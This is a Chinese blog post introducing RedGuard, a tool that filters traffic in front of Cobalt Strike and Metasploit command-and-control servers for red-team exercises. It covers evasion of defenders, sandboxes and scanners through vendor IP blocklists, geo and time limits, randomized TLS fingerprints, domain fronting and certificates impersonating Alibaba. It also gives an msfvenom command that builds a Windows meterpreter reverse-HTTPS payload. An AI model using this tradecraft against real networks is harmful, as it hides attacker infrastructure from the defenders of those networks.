【技術分享】RedGuard - Excellent C2 Front Flow Control tool

介紹
工具介紹
RedGuard,是一款C2設施前置流量控制技術的衍生作品,有著更加輕量的設計、高效的流量交互、以及使用go語言開發具有的可靠兼容性。它所解決的核心問題也是在面對日益復雜的紅藍攻防演練行動中,給予攻擊隊更加優秀的C2基礎設施隱匿方案,賦予C2設施的交互流量以流量控制功能,攔截那些“惡意”的分析流量,更好的完成整個攻擊任務。
RedGuard是一個C2設施前置流量控制工具,可以避免Blue Team,AVS,EDR,Cyberspace Search Engine的檢查。
應用場景
- 攻防演練中防守方根據態勢感知平臺針對C2交互流量的分析溯源
- 根據JA3指紋庫識別防范云沙箱環境下針對木馬樣本的惡意分析
- 阻止惡意的請求來實施重放攻擊,實現混淆上線的效果
- 在明確上線服務器IP的情況下,以白名單的方式限制訪問交互流量的請求
- 防范網絡空間測繪技術針對C2設施的掃描識別,并重定向或攔截掃描探針的流量
- 支持對多個C2服務器的前置流量控制,并可實現域前置的效果實現負載均衡上線,達到隱匿的效果
- 能夠通過請求IP反查API接口針對根據 IP 地址的歸屬地進行地域性的主機上線限制
- 在不更改源碼的情況下,解決分階段checksum8規則路徑解析存在的強特征。
- 通過目標請求的攔截日志分析藍隊溯源行為,可用于跟蹤對等連接事件/問題
- 具有自定義對樣本合法交互的時間段進行設置,實現僅在工作時間段內進行流量交互的功能
- Malleable C2 Profile 解析器能夠嚴格根據 malleable profile驗證入站 HTTP/S 請求,并在違規情況下丟棄外發數據包(支持Malleable Profiles 4.0+)
- 內置大量與安全廠商相關聯的設備、蜜罐、云沙箱的IPV4地址黑名單,實現自動攔截重定向請求流量
- 可通過自定義工具與樣本交互的SSL證書信息、重定向URL,以規避工具流量的固定特征
- ..........
安裝
可以直接下載并使用已經編譯好的版本,也可以遠程下載go包進行自主編譯執行。
git clone https://github.com/wikiZ/RedGuard.git cd RedGuard # 也可以使用upx壓縮編譯后的文件體積 go build -ldflags "-s -w" -trimpath # 賦予工具可執行權限,并進行初始化操作 chmod +x ./RedGuard&&./RedGuard
配置說明
初始化
如下圖,首先對RedGuard賦予可執行權限并進行初始化操作,第一次運行會在當前用戶目錄下生成配置文件,以實現靈活的功能配置,配置文件名:.RedGuard_CobaltStrike.ini。

配置文件內容:

cert的配置選項主要是針對樣本與C2前置設施的HTTPS流量交互證書的配置信息,proxy主要用于配置反向代理流量中的控制選項,具體使用會在下面進行詳細講解。
在流量的交互中使用的SSL證書會生成在RedGuard執行所在目錄下的cert-rsa/目錄下,可以通過修改配置文件進行工具的基礎功能啟停(證書的序列號是根據時間戳生成的,不用擔心被以此關聯特征)。如果你想要使用自己的證書,只需要重命名為ca.crt和ca.key覆蓋在cert-rsa/目錄下即可。
openssl x509 -in ca.crt -noout -text

每次啟動RedGuard都會更新隨機TLS JARM指紋,防止被以此佐證C2設施。

在使用自己證書的情況下,到配置文件中修改HasCert參數為true,防止因為JARM混淆隨機化導致的CipherSuites加密套件與自定義證書不兼容導致的無法正常通信問題。
# Whether to use the certificate you have applied for true/false HasCert = false
RedGuard Usage
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard:
-DropAction string
RedGuard interception action (default "redirect")
-HasCert string
Whether to use the certificate you have applied for (default "false")
-allowIP string
Proxy Requests Allow IP (default "*")
-allowLocation string
Proxy Requests Allow Location (default "*")
-allowTime string
Proxy Requests Allow Time (default "*")
-common string
Cert CommonName (default "*.aliyun.com")
-country string
Cert Country (default "CN")
-dns string
Cert DNSName (default "*.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com\",*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com")
-host string
Set Proxy HostTarget (default "{\"360.net\":\"http://127.0.0.1:8080\",\"360.com\":\"https://127.0.0.1:4433\"}")
-http string
Set Proxy HTTP Port (default ":80")
-https string
Set Proxy HTTPS Port (default ":443")
-ip string
IPLookUP IP
-locality string
Cert Locality (default "HangZhou")
-location string
IPLookUP Location (default "風起")
-malleable string
Set Proxy Requests Filter Malleable File (default "*")
-organization string
Cert Organization (default "Alibaba (China) Technology Co., Ltd.")
-redirect string
Proxy redirect URL (default "https://360.net")
-type string
C2 Server Type (default "CobaltStrike")
-u Enable configuration file modification
P.S. 可以使用參數命令的方式修改配置文件,當然我覺得可能直接vim手動修改更方便。
工具使用
基礎攔截
如果直接對反向代理的端口進行訪問,則會觸發攔截規則,這里通過輸出的日志可以看到客戶端請求根目錄,但是因為其請求過程未帶有請求的憑證,也就是正確的HOST請求頭所以觸發了基礎攔截的規則,流量被重定向到了https://360.net
這里為了方便展示輸出效果,實際使用可以通過nohup ./RedGuard &后臺運行。

{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
從上面的slice不難看出,360.net對應了代理到本地8080端口,360.com指向了本地的4433端口,且對應了使用的HTTP協議的不同,在后續上線中,需要注意監聽器的協議類型需要和這里設置的保持一致,并設置對應HOST請求頭。

如上圖,在未授權情況下,我們得到的響應信息也是重定向的站點返回信息。
攔截方式
上述的基礎攔截案例中,使用的是默認的攔截方式,也就是將非法流量以重定向的方式攔截,而通過配置文件的修改,我們可以更改攔截的方式,以及重定向的站點URL,其實這種方式與之說是重定向,描述為劫持、克隆或許更貼切,因為返回的響應狀態碼為200,是從另一個網站獲取響應,以盡可能接近地模仿克隆/劫持的網站。
無效數據包可能會根據三種策略被錯誤路由:
- reset:立即終止 TCP 連接。
- proxy:從另一個網站獲取響應,以盡可能接近地模仿克隆/劫持的網站。
- redirect:重定向到指定網站返回HTTP狀態碼302,對重定向的網站無要求。
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response) drop_action = proxy # URL to redirect to Redirect = https://360.net
配置文件中 Redirect = URL 指向的就是劫持的URL地址,RedGuard支持“熱更改”,也就是說在工具通過nohup這種方式在后臺運行的過程中,我們依舊可以通過修改配置文件的內容進行實時的功能啟停。
./RedGuard -u --drop true
注意,通過命令行修改配置文件的時候。-u選項不要少,否則無法對配置文件修改成功,如果需要還原默認配置文件設置只需要輸入 ./RedGuard -u 即可。
而另一種攔截方式就是DROP,直接Close HTTP通信響應,通過設置 DROP = true 啟用,具體攔截效果如下圖:

可以看到,沒有獲取到HTTP響應碼,C2前置流量控制對非法請求直接close響應,在網絡空間測繪的探測中,DROP的方式可以實現隱藏端口開放情況的作用,具體效果可以看下面的案例分析。
代理端口修改
這里其實就很好理解了,對配置文件中以下兩個參數的配置實現更改反向代理端口的效果,這里建議在不與當前服務器端口沖突的前提下,使用默認的端口隱匿性會更好,如果一定要修改,那么注意參數值的 : 不要缺少
# HTTPS Reverse proxy port Port_HTTPS = :443 # HTTP Reverse proxy port Port_HTTP = :80
RedGuard日志
通過目標請求的攔截日志分析藍隊溯源行為,可用于跟蹤對等連接事件/問題,日志文件生成在運行RedGuard所在目錄下,文件名:RedGuard.log。

RedGuard獲取真實IP地址
針對于日常、域前置場景下獲取真實請求IP,RG無需進行任何配置,僅需對啟動C2設施的profile文件增加以下配置,即通過請求頭X-Forwarded-For獲取目標真實IP。
http-config {
set trust_x_forwarded_for "true";
}
請求地域限制
配置方式以AllowLocation = 濟南,北京 為例,這里值得注意的是,RedGuard提供了兩個IP歸屬地反查的API,一個適用于國內用戶,另一個適用于海外用戶,并且可以根據輸入的地域名動態的分配使用哪個API,如果目標是中國的那么設置的地域就輸入中文,反之輸入英文地名,建議國內的用戶使用中文名即可,這樣反查到的歸屬地準確度以及API的響應速度都是最好的選擇。
P.S. 國內用戶,不要使用AllowLocation = 濟南,beijing這種方式!沒啥意義,參數值的首個字符決定使用哪個API!
# IP address owning restrictions example:AllowLocation = 山東,上海,杭州 or shanghai,beijing AllowLocation = *

決定限制地域之前,可以通過以下命令手動查詢IP地址歸屬地。
./RedGuard --ip 111.14.218.206 ./RedGuard --ip 111.14.218.206 --location shandong # 使用海外API查詢歸屬地
這里我們設置僅允許山東地域上線

合法流量:

非法請求地域:

關于地域限制的上線,在目前的攻防演練可能比較實用,基本上省市級的護網限制的目標都是在指定區域中,而對于其他地域請求的流量自然可以忽略不計,而RedGuard這一功能不僅僅可以限制單一地域也可以根據省、市限制多個上線地域,而對其他地域請求的流量進行攔截。
基于白名單攔截
除了RedGuard內置的安全廠商IP的黑名單,我們還可以依據白名單的方式進行限制,其實我也是建議在web打點的時候,我們可以根據白名單限制上線的IP的地址,以,分割多個IP地址的方式。
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1 AllowIP = 127.0.0.1

如上圖,我們限制僅允許127.0.0.1上線,那么其他IP的請求流量就會被攔截。
基于時間段攔截
這個功能就比較有意思了,在配置文件中設置以下參數值,代表了流量控制設施僅可以上午8點至晚上9點上線,這里具體的應用場景也就是在指定攻擊時間內,我們允許與C2進行流量交互,其他時間保持靜默狀態。這也能讓紅隊們睡一個好覺,不用擔心一些夜班的藍隊無聊去分析你的木馬,然后醒來發生不可描述的事情,哈哈哈。
# Limit the time of requests example: AllowTime = 8:00 - 16:00 AllowTime = 8:00 - 21:00

Malleable Profile
RedGuard采用 Malleable C2 配置文件。然后,它解析提供的可延展配置文件部分以了解合同并僅通過那些滿足它的入站請求,同時誤導其他請求。諸如http-stager,http-get和http-post它們對應的 uris, headers, User-Agent 等部分都用于區分合法信標的請求和不相關的 Internet 噪聲或 IR/AV/EDR 越界數據包。
# C2 Malleable File Path MalleableFile = /root/cobaltstrike/Malleable.profile

風起編寫的profile,推薦使用:
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
案例分析
空間測繪
如下圖所示,當我們的攔截規則設置為DROP的時候,空間測繪系統探針會對我們反向代理端口的/目錄進行幾次探測,理論上測繪發送的請求包就是偽造成正常的流量所示。但是當嘗試幾次因為請求包特征不符合RedGuard的放行要求,所以均被Close HTTP響應。最終展現在測繪平臺上的效果也就是認為反向代理端口未開放。

下圖所示的流量也就是當攔截規則設置為Redirect時,我們會發現當測繪探針收到響應后會繼續對我們進行目錄掃描,UserAgent為隨機,看起來符合正常流量的請求,但是也都成功被攔截了。

測繪平臺 - 劫持響應攔截方式效果:


測繪平臺 - 重定向攔截方式效果:

域前置
RedGuard是支持域前置的,在我看來一共有兩種展現形式,一種是利用傳統的域前置方式,在全站加速回源地址中設置為我們反向代理的端口即可實現。在原有的基礎上給域前置增加了流量控制的功能,并且可以根據我們設置的重定向到指定URL使其看起來更像是真的。需要注意HTTPS HOST頭RedGuard設置的要與全站加速的域名一致才可以。

在單兵作戰中,我建議可以使用上述方式,而在團隊任務中,也可以通過自建“域前置”的方式來實現。

在自建域前置中,保持多個反向代理端口一致,HOST頭一致指向后端真實的C2服務器監聽端口。而這種方式,可以很好的隱藏我們的真實C2服務器,而反向代理的服務器可以通過配置防火墻僅開放代理端口即可。

這里可以通過多個節點服務器實現,在CS監聽器HTTPS上線IP配置多個我們的節點IP。
CobaltStrike上線
如果說上面的這種方式有一個問題就是,實際上線的C2服務器是不能通過防火墻直接攔截掉的,因為在反向代理中實際進行負載均衡請求的是云服務器廠商IP進行的。
如果是單兵作戰的話,我們可以在云服務器防火墻設置攔截策略。

然后把代理指向的地址設置為https://127.0.0.1:4433這種即可。
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
而且因為我們的基礎驗證就是基于HTTP HOST請求頭來做的,所以在HTTP流量中看到的也是與域前置的方式一致,但是成本更低,只需要一臺云服務器即可實現。

對于監聽器的設置上線端口設置為RedGuard反向代理端口,監聽端口為本機實際上線端口。
Metasploit上線
生成木馬
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com -f exe -o ~/path/to/payload.exe
當然作為域前置場景也可以把你的LHOST配置為任意使用該廠商CDN的域名,注意設置HttpHostHeader與RedGuard相符即可。
setg OverrideLHOST 360.com setg OverrideLPORT 443 setg OverrideRequestHost true
請務必注意,該OverrideRequestHost設置必須設置為true。這是由于 Metasploit 在為暫存有效負載生成配置時默認處理傳入 HTTP/S 請求的方式的一個怪癖。默認情況下,Metasploit 將傳入請求的Host標頭值(如果存在)用于第二階段配置,而不是LHOST參數。因此,將生成階段配置,以便將請求直接發送到您的隱藏域名,因為 CloudFront 在轉發請求的Host標頭中傳遞您的內部域。這顯然不是我們所要求的。使用OverrideRequestHost配置值,我們可以強制 Metasploit 忽略傳入Host的標頭,而是使用LHOST指向原始 CloudFront 域的配置值。
監聽器設置為實際上線端口,與RedGuard實際轉發到的地址相匹配。

RedGuard接收到請求:

Loading
感謝各位用戶的支持,RedGuard也會堅持進行完善更新的,希望 RedGuard 能夠讓更多安全從業者所知,工具參考了RedWarden的設計思想。